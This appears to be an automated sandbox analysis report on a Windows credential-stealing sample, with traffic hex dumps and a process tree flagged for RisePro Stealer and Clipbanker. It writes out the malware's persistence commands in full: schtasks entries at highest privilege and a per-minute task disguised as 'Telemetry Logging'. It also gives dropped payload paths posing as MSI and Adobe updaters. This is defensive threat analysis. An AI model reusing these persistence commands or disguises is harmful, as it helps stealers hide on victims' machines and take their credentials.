2024-04-24 12:43:23 UTC	16384	IN	Data Raw: ac 46 a1 c7 56 aa ee 9a c5 90 91 d9 40 2c 02 1d 61 2a 1f 3d 65 02 6c a9 ed e5 70 dd 07 a6 05 ce 85 04 18 f5 e8 b7 5c 51 ea c0 d9 33 82 51 18 94 cc 3e 67 9d a1 17 b7 da 02 70 83 1b f8 fa c0 84 06 a4 98 43 8d 6f 70 da 5d 47 2e 1e 16 51 78 84 70 62 81 7a ab c9 fa 8b 59 15 2c 1e a6 fa 59 6a 23 79 0e e3 47 de ee f6 c0 d8 12 09 54 e9 24 95 fa 6d 60 b4 3c 7b 7c 52 1f 97 7d 3f 66 01 a5 e9 1d 3b b1 d7 d7 64 4f c2 23 ef 40 4a 2f f1 1a 1c 4f e3 e6 9a cd 55 18 b4 46 62 db 2e 83 10 4a 6a 10 33 1a e2 f3 d7 5e 59 6c c8 bc 36 a7 91 43 ba 75 4f 60 58 02 cc 4c 86 11 1e 62 a7 11 89 e3 36 4e d0 ce 6a 64 89 88 5f ef 67 36 04 94 3e d0 cf b3 5f c2 81 5e 27 d2 4b 79 3c 55 7e 71 c7 3d 9d b1 1d ac b3 2d 4a 40 23 db a9 0c a7 ec e5 f5 32 27 4b 60 82 3b 29 4a 68 7e 13 2b da e0 eb bd Data Ascii: FV@,a*=elp\Q3Q>gpCop]G.QxpbzY,Yj#yGT$m`<{\|R}?f;dO#@J/OUFb.Jj3^Yl6CuO`XLb6Njd_g6>_^'Ky<U~q=-J@#2'K`;)Jh~+
2024-04-24 12:43:23 UTC	16384	IN	Data Raw: 59 58 73 5e 10 a0 bd 69 73 fd f0 9b a8 1e 4c d2 6b 33 3a aa d9 fa 85 d4 de 21 10 7c fe a1 b2 ea d3 ac 18 c3 ef 1c 66 c5 f2 7c 5a e3 ae 07 ab d5 f8 d9 d2 bc b4 71 1e 28 a8 a6 5a 02 bb 74 50 0f 9e e4 53 dd f4 b3 64 e2 05 9b 5c e3 ac 9f 20 9f 43 f7 3e 4b 01 e2 04 f6 b4 ca a9 c6 5b 96 c6 9c f8 d9 58 4f 4b 1a da b2 bd 74 c5 e3 b5 44 b5 44 af b8 1f b9 ee 48 d1 67 a3 9b b3 a7 a2 14 f5 c1 b0 f0 4d 1d 32 16 b1 7b c9 fa 42 ff 60 7f 2d 02 83 2f be a2 da 52 76 13 d1 52 3a f3 ec 68 75 5c 9b d7 12 47 bd 39 f7 e8 4b 4f 79 4b 35 d3 d3 1d bf 03 ff 6b 23 40 e2 f2 0f d1 c9 ca 7b 4f 23 dd 2b d7 f0 9d 3b 65 41 b5 62 16 ae 02 21 68 20 56 b4 48 b8 33 bf cf d5 3c c9 0d c6 ae 3b 06 d6 0f 58 2c b6 d2 16 97 34 7a 18 79 fb 6b 03 2b 8d e9 73 59 d5 48 57 be 99 2b 48 aa 39 4b 4e 38 5e Data Ascii: YXs^isLk3:!\|f\|Zq(ZtPSd\ C>K[XOKtDDHgM2{B`-/RvR:hu\G9KOyK5k#@{O#+;eAb!h VH3<;X,4zyk+sYHW+H9KN8^
2024-04-24 12:43:23 UTC	16384	IN	Data Raw: d2 7c ae 36 24 67 53 f2 e6 70 c1 88 b9 af 1a f2 3e a0 87 06 94 bb a9 47 7c 19 8b ab 71 42 69 f7 1f 8f c9 0d 6f de 5d f6 be d2 33 03 46 66 82 e8 20 bf 56 7a 64 c8 d5 93 cb 57 a1 a2 a9 3c 22 32 d3 8f d7 de 35 9e 86 ce 57 eb d5 7e 58 9f 08 c2 f0 ae ef 6b b4 d3 57 89 a8 d1 9e 1b f4 51 1f 68 ce e4 fd df 51 b9 b4 d9 22 94 84 90 a7 52 28 ae 7b f4 d0 be 32 5c e1 19 53 eb 66 f5 70 7d 7b cf 23 4d 69 39 af f4 b5 ea 3a 1a c1 41 8f 19 e2 52 99 7b f7 60 fa ca 99 4e cf 2d 12 5c 5f b8 bc 56 2b 98 08 9f 48 6d ea a7 5c a3 63 22 bd cc 8c e0 ea 37 a1 93 27 71 8b 50 28 d5 79 3d 98 f0 66 e8 1f 01 f7 84 b3 17 20 a2 18 b1 0e 46 ee 3f 3b 24 57 ea ce 26 24 15 47 81 1a dd 1e 53 66 af 74 7a cd 4e 7c 74 f6 a9 07 5a 2e 12 83 95 93 06 fe 2a 6b ca 40 b6 66 8d 5a f3 cb fe b4 76 a2 29 48 Data Ascii: \|6$gSp>G\|qBio]3Ff VzdW<"25W~XkWQhQ"R({2\Sfp}{#Mi9:AR{`N-\_V+Hm\c"7'qP(y=f F?;$W&$GSftzN\|tZ.*k@fZv)H
2024-04-24 12:43:23 UTC	16384	IN	Data Raw: 07 37 2a d6 19 87 35 f5 b3 fb a4 03 13 fa e2 cf c2 11 80 6d 34 e2 c2 98 ff f6 27 f9 a7 b7 8f 2b 23 38 1c 16 21 50 1e 88 a5 8d a4 4f 26 37 37 96 e3 52 fb 1c a2 7d ad d0 66 40 42 0f 97 fe 88 18 37 96 3e ce 55 08 b8 ae db b2 1f c6 c1 ce 06 f8 54 b3 14 30 c3 62 76 5d 6d 8d bc 7d 9d b9 2b 2e 37 c5 2d 9c 96 55 52 bd 14 04 07 07 78 eb 05 af a4 c9 d5 c1 9f 0a 40 78 3f aa c0 b8 55 38 6e 59 c5 e1 58 4d 4a c8 42 06 ea 8b 20 50 26 10 31 99 e2 e0 eb 00 6d 73 c7 fe ad bb a8 fc dc 10 52 fc 73 5a d5 d0 69 44 18 95 d3 ba 39 14 be 94 d2 ba ac ec bd ee 88 22 ec b8 9b bb b5 c3 d0 7e ff 3f 0a bc 3d 69 82 27 3d 78 bd c0 56 3a eb 39 88 9b d0 65 c8 b4 9d 13 dc d8 57 92 2d 76 1f 65 00 81 ad 2f bb 44 ab 0e 51 f7 ca 79 16 45 b9 9f 10 23 58 39 c1 ba 09 6b e0 5b 1d 4d 3c cd 1b 64 8c Data Ascii: 7*5m4'+#8!PO&77R}f@B7>UT0bv]m}+.7-URx@x?U8nYXMJB P&1msRsZiD9"~?=i'=xV:9eW-ve/DQyE#X9k[M<d

Target ID:	0
Start time:	14:42:56
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7ff6ee680000
File size:	3'723'696 bytes
MD5 hash:	E13D9AB9096DCC3BD309272DEA987462
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000000.00000003.1490164817.0000000005FE8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1442348203.0000000001263000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1441917639.0000000001263000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1441725385.0000000001263000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1442821910.0000000001263000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1443357927.0000000001263000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1441605252.0000000001262000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000000.00000002.3808658828.0000000005D8C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1442028613.0000000001263000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	14:43:17
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0xd00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:43:17
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:43:17
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0xd00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:43:17
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:43:18
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000008.00000002.1568547608.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000008.00000002.1568547608.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:43:19
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0xd00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:43:19
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:43:19
Start date:	24/04/2024
Path:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000B.00000002.1585774146.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000B.00000002.1585774146.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:43:19
Start date:	24/04/2024
Path:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000C.00000002.1586960616.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000C.00000002.1586960616.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:43:19
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000D.00000002.1585794053.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000D.00000002.1585794053.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:43:20
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0xd00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:43:21
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:43:24
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c HR" /sc HOURLY /rl HIGHEST
Imagebase:	0xd00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:43:24
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:43:24
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0xd00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	14:43:24
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:43:25
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000014.00000002.1638452398.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000014.00000002.1638452398.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:43:26
Start date:	24/04/2024
Path:	C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000015.00000002.1654590911.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000015.00000002.1654590911.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: unknown
Antivirus matches:	Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	14:43:26
Start date:	24/04/2024
Path:	C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000016.00000002.1653499972.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000016.00000002.1653499972.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	14:43:26
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0xd00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	14:43:26
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	14:43:26
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000019.00000002.1649208169.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000019.00000002.1649208169.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:43:27
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0xd00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	14:43:27
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	14:43:27
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0xd00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	14:43:27
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	14:43:34
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001E.00000002.1731319908.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001E.00000002.1731319908.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: unknown
Antivirus matches:	Detection: 80%, Virustotal, Browse Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	14:43:35
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0xd00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	14:43:35
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	14:43:42
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000021.00000002.1812078816.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000021.00000002.1812078816.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	14:43:43
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0xd00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	14:43:43
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	14:43:50
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	14:43:52
Start date:	24/04/2024
